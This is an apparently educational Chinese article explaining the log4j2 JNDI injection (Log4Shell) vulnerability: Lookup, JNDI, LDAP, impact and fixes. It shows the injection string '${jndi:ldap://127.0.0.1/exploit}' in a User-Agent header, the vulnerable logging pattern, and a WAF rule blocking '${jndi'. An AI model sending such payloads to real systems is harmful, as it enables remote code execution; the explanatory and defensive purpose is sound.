1. log4j2
不管是什麼程式設計語言，不管是前端後端還是用戶端，對打日志都不會陌生。通過日志，可以幫助我們了解程式的運作情況，排查程式運作中出現的問題。在Java技術棧中，用的比較多的日志輸出架構主要是log4j2和logback。
今天讨論的主角就是log4j2。
我們經常會在日志中輸出一些變量，比如：logger.info("client ip: {}", clientIp)
思考一個問題：
假如現在想要通過日志輸出一個Java對象，但這個對象不在程式中，而是在其他地方，比如可能在某個檔案中，甚至可能在網絡上的某個地方，這種時候怎麼辦呢？
log4j2的強大之處在于，除了可以輸出程式中的變量，它還提供了一個叫Lookup的東西，可以用來輸出更多内容：
lookup，顧名思義就是查找、搜尋的意思，那在log4j2中，就是允許在輸出日志的時候，通過某種方式去查找要輸出的内容。
lookup相當于是一個接口，具體去哪裡查找，怎麼查找，就需要編寫具體的子產品去實作了，類似于面向對象程式設計中多态那意思。
好在，log4j2已經幫我們把常見的查找途徑都進行實作了：
上面具體每一種查找途徑，這裡就不詳述了。下面主要看一下JNDI。
2. JNDI
主要來看其中那個叫JNDI的東西：
JNDI即 Java Naming and Directory Interface（JAVA命名和目錄接口），它提供一個目錄系統，并将服務名稱與對象關聯起來，進而使得開發人員在開發過程中可以使用名稱來通路對象。
簡單了解：有一個類似于字典的資料源，你可以通過JNDI接口，傳一個name進去，就能擷取到對象了。那不同的資料源肯定有不同的查找方式，是以JNDI也隻是一個上層封裝，在它下面也支援很多種具體的資料源。
3. LDAP
繼續把目光聚焦，咱們隻看這個叫LDAP的東西。
LDAP即 Lightweight Directory Access Protocol（輕量級目錄通路協定），目錄是一個為查詢、浏覽和搜尋而優化的專業分布式資料庫，它呈樹狀結構組織資料，就好象Linux/Unix系統中的檔案目錄一樣。目錄資料庫和關系資料庫不同，它有優異的讀性能，但寫性能差，并且沒有事務處理、復原等複雜功能，不适于存儲修改頻繁的資料。是以目錄天生是用來查詢的，就好像它的名字一樣。
這個東西用在統一身份認證領域比較多，但這不是這篇文章的重點。你隻需要簡單了解為：有一個類似于字典的資料源，你可以通過LDAP協定，傳一個name進去，就能擷取到資料。
4. 漏洞原理
有了以上的基礎，再來了解這個漏洞就很容易了。假如某一個Java程式中，将浏覽器的類型記錄到了日志中：String userAgent = request.getHeader("User-Agent"); logger.info(userAgent);
網絡安全中有一個準則：不要信任使用者輸入的任何資訊。其中，User-Agent就屬于外界輸入的資訊，而不是自己程式裡定義出來的。隻要是外界輸入的，就有可能存在惡意的内容。
假如有人發來了一個HTTP請求，他的User-Agent是這樣一個字元串：${jndi:ldap://127.0.0.1/exploit}
接下來，log4j2将會對這行要輸出的字元串進行解析。首先，它發現了字元串中有 ${}，知道這個裡面包裹的内容是要單獨處理的。進一步解析，發現是JNDI擴充内容。再進一步解析，發現了是LDAP協定，LDAP伺服器在127.0.0.1，要查找的key是exploit。最後，調用具體負責LDAP的子產品去請求對應的資料。
如果隻是請求普通的資料，那也沒什麼，但問題就出在還可以請求Java對象！
Java對象一般隻存在于記憶體中，但也可以通過序列化的方式将其存儲到檔案中，或者通過網絡傳輸。
如果是自己定義的序列化方式也還好，但更危險的在于：JNDI還支援一個叫命名引用（Naming References）的方式，可以通過遠端下載下傳一個class檔案，然後下載下傳後加載起來建構對象。
有時候Java對象比較大，直接通過LDAP這些存儲不友善，就整了個類似于二次跳轉的意思，不直接傳回對象内容，而是告訴你對象在哪個class裡，讓你去那裡找。
注意，這裡就是核心問題了：JNDI可以遠端下載下傳class檔案來建構對象！！！。
危險在哪裡？
如果遠端下載下傳的URL指向的是一個黑客的伺服器，并且下載下傳的class檔案裡面藏有惡意代碼，那不就完了嗎？畫了一張圖：
這就是鼎鼎大名的JNDI注入攻擊！其實除了LDAP，還有RMI的方式，有興趣的可以了解下。
5. JNDI 注入
這種攻擊手法不是這一次出現了，早在2016的blackhat大會上，就有大佬披露了這種攻擊方式。
文檔位址
JNDI.pdf
回過頭來看，問題的核心在于：Java允許通過JNDI遠端去下載下傳一個class檔案來加載對象，如果這個遠端位址是自己的伺服器，那還好說，如果是可以被外界來指定的位址，那就要出大問題！
前面的例子中，一直用的127.0.0.1來代替LDAP伺服器位址，那如果輸入的User-Agent字元串中不是這個位址，而是一個惡意伺服器位址呢？
6. 影響規模
這一次漏洞的影響面之是以如此之大，主要還是log4j2的使用面實在是太廣了。
一方面現在Java技術棧在Web、後端開發、大資料等領域應用非常廣泛，國内除了阿裡巴巴、京東、美團等一大片以Java為主要技術棧的公司外，還有多如牛毛的中小企業選擇Java。另一方面，還有好多像kafka、elasticsearch、flink這樣的大量中間件都是用Java語言開發的。在上面這些開發過程中，大量使用了log4j2作為日志輸出。隻要一個不留神，輸出的日志有外部輸入混進來，那直接就是遠端代碼執行RCE，滅頂之災！
7. 修複
7.1 通用修補
新版的log4j2已經修複了這個問題，大家趕緊更新。下面是log4j2官網中關于JNDI lookup的說明：
可以看一下比起之前的版本，上面那一版多了哪些東西？
答案是：修複後的log4j2在JNDI lookup中增加了很多的限制：
- 預設不再支援二次跳轉（也就是命名引用）的方式擷取對象。
- 隻有在log4j2.allowedLdapClasses清單中指定的class才能擷取。
- 隻有遠端位址是本地位址或者在log4j2.allowedLdapHosts清單中指定的位址才能擷取。
以上幾道限制，算是徹底封鎖了通過列印日志去遠端加載class的這條路了。
7.2 臨時修複
- 設定JVM啟動參數-Dlog4j2.formatMsgNoLookups=true。
- 限制不必要的業務通路外網。
- 采用 rasp 對lookup的調用進行阻斷。
- 采用 waf 對請求流量中的${jndi進行攔截。